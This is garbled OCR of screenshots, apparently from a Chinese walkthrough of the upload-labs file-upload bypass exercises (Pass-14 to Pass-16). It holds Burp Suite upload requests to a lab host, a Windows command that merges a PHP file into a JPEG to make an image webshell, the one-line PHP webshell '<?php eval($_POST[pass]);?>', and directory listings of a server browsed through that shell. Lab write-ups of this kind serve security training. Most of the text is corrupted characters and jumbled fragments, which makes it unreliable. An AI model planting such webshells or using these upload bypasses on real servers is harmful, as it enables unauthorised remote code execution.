EECICLER 2011-02-16 21:23:02 0 T
(3 Repositories 015-11-10 11:26:58 0 ot
(2 Sy=ten Volume Information - O —— .

() Tomeat 7.0 =
o8t 018-11-10 11:38:35 0 ot
{nbsp: bylnbsp: <a href="http://e¥7. ne”
System Volune Infornation 2011-02-16 19:41:08 0 ot
Tancat 7.0 2013-12-18 13:45:15 0 T
= To1s 2020-01-04 10215212 0 ot
2013-04-23 13:47:23 0 [l 4G div>
& wrtmos 20201228 23:41:05 0 o7
wiznail 2008-01-17 09:28:33 0 ot
wnprs 2011-02-16 18:30:48 0 o7
GB2312

:

? B B (=] [7e a searcn term
HE:

fEwindows L HI{EE F 5
copy 1.jpg/a + 1.txt/b 2.jpg
HA1 b N E RN —EERD,

0 matches

{seript type="text/javaseript”
Untn1>

sre="fupload/js/index. js" </ script”

|ISERIC L]

*

I

BEBEF

1jpg Ml —5kE . EREIE R SR2.jpg.

0 matches

4474 bytes | 11 millis



R i Fwinhex T A i 1 el J1 T -

=

MR #EEE E&V) IRM #mH)

B v ) 577~ FIED EFEF RIFE
W =3 -
L SEAENEE
#& OneDrive F

- E

B
Sl=la
B =
H RETE 3
4 =5

1 R
& s ()
= #6% (D)
s 37 (E) |
= JEC (F)
a2 (G

B —BEADS.t SO 2017/7/26 28= F..
prene ] Fuhs 29 513

BEEEES: 2017/7/26 E8= T4 10:13

Request

Raw | Params | Headers | Hex

18.5 SR-3 x64
-=5H= @ &

Target: http://172.16.12.144:8000 @ @
Response

Raw | Headers | Hex | HTML | Render

FOST /upLoad/Pass-14/indsx. php7Fils=/upload/ 620210119213721. gi£ KITE/1. 1
e000

Host: 172.16.12.1

Ussr—Rgsnt: Mozilla/5.0 (Mindows NI 6.1: WORE:: rvi<7.0) Gecke/20100101 Firefex/47.0

Aceept: text/htwl, spplication/xhtnlbxnl, spplication/snl;q=0.9, /4 4=0.8
Accept-Language: shCl, zh:q=0. 6, enUS: =0, 5, en: g=0.3

o 1

Referer: http: //172.16. 1
Cookie! BCS[visit_timesl=l
X-Forwarded-For: 5.5.6.5
Connection clozs

1:8000/upload/Pass=14/index. php?£iles/upload/ 6:

» »
Content-Length. 1389
- 603051718139
Content-Disposition: forn-data: name="upload file”: filen
Content-Type: imagef jpeg

TR c

28

4 Qe
i IREA AR ¥ 7 K

1
%' (33158750 : CDEFGHLTSTUVHEYZ e £k j =ty

" 1M s
jstuxyz 17104 12

51 0% & (O
ERET] | 4
{56 (ifixp B

o

1456769 : CDEEGH
K qE

E 1)
Q gEosaNdy
o andk: R

a0 Yot
o QTR i

2 1603051716135
Content-Dizposition: forn-data: name="submit”

21603051715138—

= 1603051718138

Ri330:

e 1

B EAT R

EEATEY

AT R

T

b
v

0 matches

Juplosd/Fass15/index. php’ Pass—18/ar/1i 0
“/upload/Pass=19/index. php”>Pass=19¢/>(/1i > r
Twref="/uplosd/Pass=20/ index. phy”Pass=20¢/a>/Li >
“/upLoad/Pass—21/index. php”>Pass=21</>/1i>

Wl
< div>

div 3= uplosd_panel >
<ol
aix
AR 3>
P> L Ceode BIF B code TS R </p>
Uil pr
<po1. 5E_EAE S B R T op 5B SERE Y Coo de > — B T/ code T Ceode owebshel 1</ code UM, (/3>
<22. WFI<a href="/upload/include. php” target="_bark”> X # < o TR b ISR, /o>
<pO3. BF B Ceode). jpg<dcaded, <coded. prg/code>, <eade). gi £/ code> =G S LALMIN A MR R </p>
Ui>

air

W3 AR hE>

<form enctype="mul tipart/ forn-data” method="post">
<poilfiFE I LAGRE N G
Cinput elass="imput_file" type="file” name="upload file"/>
input class="button” type="submit” name="submit” valus=" L1t"/>

forn>

Ldiv id="msg">

Adiv>
v id="ing">
<ing sr

pe’| width="250px" /> aivy
GLi>
<el>

< div>

< div>
<div id="footer ")
<eenter XCopyri ghtfmbsp: @8nbsp: <zpan 1d="copyright _time"></span>dnbsp:bySnbsp: Ca href="http: /g7 ne”
target="_bank" eOnyl /a>¢/center >
<Sdiv>

alog-title>$iembsp: 7 ¢a href="javaseript void(0)” class="close” title=" K/ >R/ a0/ div>

dialog-content </ div>

uplosd/js/jquery. min, 5" >/ seript>
upload/js/prism. js">(/seripty
upload/js/prism-line-munbers. nin. 5" >/seript>
upload/js/prismophp. min. 5" >/ seript>
Juplosd/js/index. 33>/ seript>

“text/ javaseript” a1,
“text/ javaseript” s
“text/ javaseript” a1,
“text/ javaseript” s
<seript type="text/javaseript” sro=

htnl>

SERIELIER

L4

0 matches

4474 bytes |3



KIVEE:

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex | HTHL | Render

FOST /upload/Fass—14/index. phy? i Le=/upLoad/ 6202101 19213721 g1 £ HITF/L. 1 D U1>Ga 1d="Fass-16" href="/upload/Fass-18/index. php Fass—16</ /11> I
Host: 17218, 12, 144:8000 r Uida id="Pass19” href="/upload/Fass-19/index. php">Pass—19/a>(1i> r
Ucer-Agent: Wozilla/5.0 (findows T 6.1; NORBT: rv:i7.0) Gecko/20100101 Firefox/:7.0 33%a 182 Pasc=20" href="fupload/Pasc-20/ index. pho” Pass=20/ar/1i >
Accept: text/htnl, application/shtnltanl, application/anl: g=0. 8, +/+: ¢=0. 8 <Li>Ga id="Pass21" href="/uplead/Fass-21/index. php"Pass—21/2>1i>
fecept-Language: zh-CI, zh: 0=0. 6, en-US; =0, 5, en: 0.3 >
1 Yaivy
Referer: http://172.16. 12, 114: 8000/ upload/Pase~14/index. php?ile=/upload/ 2101 19213121 eif
Zookie: ECS[visit_times)=!
(Fornarded-For: 5.8.9.9 0o 172.18.12.144 + > =0Ox
“omnection close @ - = 2oz1-01-18 BAYIE
Zontent-Typs: miltipart/Eorn-data; boundery= .
Zontent-Length: 1369 112.18.12. 144 B @), T 6 & EfiF) Fob Bt
B <M B cnis-1z-2 103422 0 o
2103051718139 I bea o [ Typel e>-.|>s|u11</mde>1\«'i, /o>
“ontent-Disposition: forn-date; name="upload file": filenane="l. jpe” (& Config Nsi @ confietsi A BE2E 0 i FiZizh AT P T A Uy
“ontent=Type: image/ipeg {0 Docunents nd Sattings T o) S 2015-12-18 13:40:01 O T HiErE OEHIG A LA A e </
TEIE c [ Dvbbst. 2.0_SAL 2013-10-28 16:58:01 0O o777
ngine
c ) phoStudy 015-12-18 15:2T:21 O o771
Progran Files 2015-12-18 13:4T:10 D L
RS 2020-10-24 15:51:36 0 0555 i
! Ha () RECYCLER ~
&' (4156789 CIEFGHLTSTUVNEYZede fehi jetuvmxyz L% e i k\"r tor 0 Repomitorien 013-12-18 13:28:28 0 o771
) @ serv-y Zoti-0e-16 21730z 0 ort
a 1w a2
% & 789 CDEFGHLTST! s tuvexyz PRI 0 @ sort 2015-11-10 11:26:59 0 o777 Ydiv>
i | 4 WEC e g O] w2 (] System Volune Information P FEHE O .
(b (b SRR % B U ADp >IIYuc
Q uMMHN i I 2 2015-11-10 11:38:35 0 o777
sodh . ystam Yolune Infornation 2011-02-16 13:41:08 O o771
WRENS e
oncat. 7.0 2013-12-15 13:45:15 D L
Content-Disposition: forn-data; name="subnit” Tl DT R O T ">/spanbsp; bySnbsp < Tref="hitp: / g7 me”
3 abto0 013-04-23 131723 0 arT
~21605081716139-~ 2020-12-23 23:41:05 O o771
2009-01-17 09:28:33 O [isid ©)" class="closs” titles" %" >KEH 2> Y div>
2011-02-16 18:30:46 O o771
GB2312
. T T T T
Coeript type="text/javaceript” sre="/upload/ic/pricn. js* >/ coripty
Geeript type="text/javaseript” sre="/upload/js/prisn-line-numbers. min js"></seript>
Coeript typs="text/javazeript” sre="/upload/je/prisn-ghp nin j="C/ seript>
Cseript type="text/javascript” sro="/upload/js/index. js" >/ script>
el > @ B
i ERNCR Y- 5
2|(<]|[=][=] [reasearnnterm 0 matches ? - arch term 0 matches
4,474 pytes | & millis
= =
Pass15 : getimagesize
.
Request Response
Params | Headers | Hex Headers | Hex | HTML | Render
POST /upload/Pace-15/index. php HITE/L 1 Gul> N
Host: 172.16. 12 114:8000 div> r
User-Agent: Mozilla/5.0 (Findows T &.1; NOWG!: rv:7.0) Gecko/20100101 Firefox/47.0
Accept! text/htnl, application/xhtnltxml, application/xnl;q=0.9, #/1: g=0.8 Cliv id="upload panel”>
Accept-Language: hCl, zhig=0. 5, en-US:g=0.5, en:g=0. 3 “l>
s 1 ai>
Referer: http://172.16. 12.144: 5000/ upload/Fass=15/index. php <B3 4TS />
Cookie: ECS[visit_times]=1 4
I-Forwarded-For: 5.5.8.85
Connection: close Ty ep {1y B 5}‘1:(]"U(vndg) fJ..,ucadouk(mde).ebsl..u(/mde){\« <>
Content-Type' multipart/forn-data: boundary=— - 4907155522308 tar, R R IR Bk % f
Content-Length: 1367 ot Jpe/eade, eade. 1:1\:02‘“1&) Ceoder. gi £/ code> ZRIGER AR LA NA ST o>
- 1907155522308
Content-Disposition: form-dats; nams="upload fils"; filenams: @3 B R /n3>
Content=Type: image/jpeg <forn enctype="multipart/forn-data” method="post”>
o i LAY @r
JFIF c <input class="input_file” type="file” name="upload_file'/>
<input class="butten” type="submit” name="submit” value=" [.{L"/>
</ form>
c iv id="msg">
- Wdivy
8" (456759 : CDEFGHT TSTUVHETZe de £ehi 5 stwvwxyz IEE W0 IR R B KR Y 2 2
M ag <faivy
$4 ¥ & 0456789 \.DEFG)C[JSTUWX‘IZvdeEg]nJsmwxyzﬂ £2 T
b EXTIN S 1 ! Sdiv>
{518 (hfiacb3it v"“vl);l BV Dy URCRERE  JHEul Ay P T3 -l <div id="Eonter ">
1#q. 1 Ao BN L t 5 witiE <center *Copyrighté&nbsp:@&nbsp: (span 1d="copyright_tine">¢/span’&nbsp: byénbsp: {a
oo it > Ix 10 i Tref="http://evT. ne” target="_bank>cOnyl</a>¢ center’
| Lt fhWERS @ m i3 <7php eval (§ POST[pass]) ;7> 5 div> L
0 matches < * = Type a search term O malches




SKIER T :
I.’_Burp Suite Professional v1.7.26 - Temporary Project - licensed to Larry_Lau - Unlimited by mxcx@fosec.vn

Burp Intruder Repeater Window Help

Target | oy | spicer | Scanner | invucer | Repeater | seauencer | Decoer | Comparer | Extender | Projectoptions | User options | ents
[

Go cancel | | < |¥ . Target: hipJ172.16.12.144:8000 | # [ 7 |
LeJ (I} 3172, 16. 12. 144 + -0 x e
Request - —

q @ v iR EHI= 2021-01-20 BRI

Raw -Params -Hsaders -st . N
e 172.16.12.144 BR @), Tt 64) E=t Fubh t B ] bS8
upload/Pass—15/index. php HITE/ iy F]
Host: 172.16.12.144:8000 =] vm a ZHiAZeRI r
User-Agent: Mozilla/5.0 (Hindows NT ) bea Typel
Accapt: text/htnl, application/xhtnl+ I bea — PP
Accept-Lenguage: zh-CI, zhi q=0. 5, en- 3 Config Msi () Config. Msi > BiEiEEE
DAT: 1 3 o
Referer: http://172. 16. 12, 144:8000/m : Bl Docoments end Settings Rigna
Coolie: ECS[visit_tines)=1 (&l Docunents and Settings L HERO LR G Bk
ot e L Dvbbe. 20,501 G Dritat.2.0.50L B Geuto . >
Content-Type: multipart/forn-data; b I Inetpub S T aoab RSB RAES . p>
Content-Length: 1387 & nginx-1.3.5 ol inetpul A <fp>
77777777777777777777777777777 1907155 =7 phpStudy & nginx-1.3.5
Content-Disposition: Eorn-data; nane X
Content-Type: imags/ipeg I Program Files (3 phpStudy
e & rednin3. 2 B3 Program Files
|] RECYCLER . s
] Repositories Gl radnind. 2
I Serv-U () RECYCLER
A <Jdiv>
' (1158759: CDEFGHLTSTUV Q3 soft () Repositories
|] System ¥olume Information )
&l Serv-v
31 % & (#58789 anmmt IZ) Tomeat 7.0
2 w O soft
b G i & Tools . i—‘ = . "
1 = waninn Lo 5dnbsp  bygnbsp: <a
GB2312 4
0 matches 2 [l =] =[] =]]|measearchtem 0 matches

"fw"zmi-mzw

Pass16 B /i &: exif_imagetype()

exif_imagetype() I —MEGHE - N FTHIHFREHESL.
TEI B php_exifliidk, wTHE:

idebug

Memeache

=101 x|
| 'E.' la My HomeFage

HE phpinfo

(10 phpMyidmin

ehccelerator

Zendlebugzger
SendMail

= %5

‘l‘.l‘ phpStudy '&E v php_bzZ

J_ii |
A - rhp_com_dotnet
e —. 7= S
B phoStudy E THECEHE » SZHE wE  r php_dbase
SUR WAV ke fBE b phpdbx
=] 5'['5"1 £ = php_enchant

MysqL: @ endr PR

EhEdil » php_fileinfo
—RTER

hp_zd?
Frielbie. .. 204307 b IFIEHORN @ BEE
Apache PR 2L 20:43:08 IR e 5

Apache: @

rhp_gettext

MySQLEEE L. . 20:43:08 b
EEEmE | 20409 A EIEEHRRIRE PSR
Apache e BED. | 20043011 php_imap

mysaLEEE B 20:43:11
AacheDEER | miaal T3 hosts

rhp_interbase

MysALT B L4 php_ldap
% Felh AR B 3 v php_mbstring
|@ phpStudy B v PiP_mﬁ'sqi.
v php mysgli
i] Btz rhp_monzo
php_ocif

net/m0_508000

rhp_oci8_1lz



EfEARG

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex | HTHL | Render
FOST fuplosd/Pas=-16/index. php HITE/1 L 0 Aixa Jupload/Fass-13/index. php” Pass-13/2/1i> X
Host: 172.16.12. 144:8000 r Aira Jupload/Fass=1/index. php”Pass-14</a7</1i> r
User-Agent ! Mozilla/5.0 (findows IT 6 1; WONG; rv:#7.0) Gecke/20100101 Firefox Aixa phpPass-15¢/>/1i>
Accept: text/htnl, application/xhtnl tenl, applicationfxnl:q=0. 9, %/#: 0=0. § Aira Php"Pass—16</20</1i>

=0.8, en-US,; 0.5, en; 0.3 Aixa
Aixa
8000/upLoad/Pass-16/index. phe Qira

php"Pass-17¢/U1i>
=" /upload/Fass~18/index. php”Pass—18/=0¢/11
“/uplosd/Pass-18/index. php Pass—194/2>U1i>

Mecept-Langusge: zhCl, zh;
DIT: 1
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